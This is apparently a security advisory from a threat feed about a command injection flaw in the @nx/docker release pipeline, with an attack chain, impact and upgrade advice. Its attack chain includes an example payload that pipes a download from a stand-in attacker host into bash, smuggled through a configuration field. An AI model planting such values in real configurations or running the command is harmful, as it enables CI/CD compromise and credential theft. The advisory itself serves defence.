@Nx/Docker (>= 21.4.0, < 22.7.8; >= 23.0.0, < 23.1.1) - CraftedSignal Threat Feedhttps://feed.craftedsignal.io/products/@nx/docker--21.4.0--22.7.8--23.0.0--23.1.1/Trending threats, MITRE ATT&CK coverage, and detection metadata. Fed continuously.Hugoenhello@craftedsignal.iohello@craftedsignal.ioTue, 06 Oct 2026 00:45:25 +0000https://feed.craftedsignal.io/favicon-32x32.pngCraftedSignal Threat Feedhttps://feed.craftedsignal.io/3232https://feed.craftedsignal.io/favicon.svgOS Command Injection in @nx/docker Release Pipelinehttps://feed.craftedsignal.io/briefs/2026-10-nx-docker-injection/Tue, 06 Oct 2026 00:45:25 +0000hello@craftedsignal.iohttps://feed.craftedsignal.io/briefs/2026-10-nx-docker-injection/The @nx/docker package is vulnerable to OS command injection via insecure shell command construction, allowing arbitrary command execution during release processes through malicious configuration inputs.The @nx/docker package contains an OS command injection vulnerability (CVE-2026-104859) within its release pipeline logic. During the execution of nx release version or nx release publish, the package constructs docker CLI commands by concatenating strings derived from the release.docker.repositoryName and registryUrl fields in the Nx configuration. Because these constructed strings are passed directly to /bin/sh -c, an attacker with control over the Nx configuration - such as a contributor to a repository or an actor who can submit a pull request - can inject arbitrary shell commands. These commands execute with the security context of the CI/CD job, which typically includes elevated privileges, access to registry credentials, and sensitive cloud tokens. The vulnerability is present in versions 21.4.0 through 22.7.7 and 23.0.0 through 23.1.0. Even --dry-run operations are insufficient for mitigation, as some injected commands execute prior to the dry-run validation logic.

Attack Chain

  1. An attacker gains access to modify the Nx configuration file within a project.
  2. The attacker updates the release.docker.repositoryName or registryUrl configuration field to include shell command injection payloads (e.g., ; curl attacker.com/payload | bash).
  3. The target CI/CD environment or a developer triggers the nx release version command as part of the release lifecycle.
  4. The @nx/docker package reads the malicious configuration string.
  5. The package constructs a shell command string using the attacker-supplied input.
  6. The package executes the constructed string using /bin/sh -c.
  7. The system interprets the injected shell syntax, executing the attacker's payload with the CI/CD agent's permissions.
  8. The attacker achieves code execution to exfiltrate credentials or compromise the build environment.

Impact

Successful exploitation allows for arbitrary code execution in CI/CD environments. Since release jobs often require privileged access to container registries and secret management stores, an attacker can leverage this access to exfiltrate credentials, inject malicious code into build artifacts, or gain unauthorized access to underlying infrastructure. There is no evidence of in-the-wild exploitation currently, but the high impact on secure supply chain integrity necessitates immediate remediation.

Recommendation

  1. Upgrade all instances of @nx/docker to versions 22.7.8 or 23.1.1 or later using nx migrate 23.1.1 or equivalent dependency manager updates.
  2. Audit all existing Nx configuration files for anomalous repositoryName or registryUrl values that contain shell metacharacters or unexpected command strings.
  3. Delete any Docker version files generated by vulnerable versions of @nx/docker to ensure that previously interpolated malicious references are not read during subsequent publishing tasks.
  4. Restrict CI/CD environment access to configuration-modifying operations to trusted personnel only, reducing the likelihood of malicious modifications to build metadata.
]]>highthreat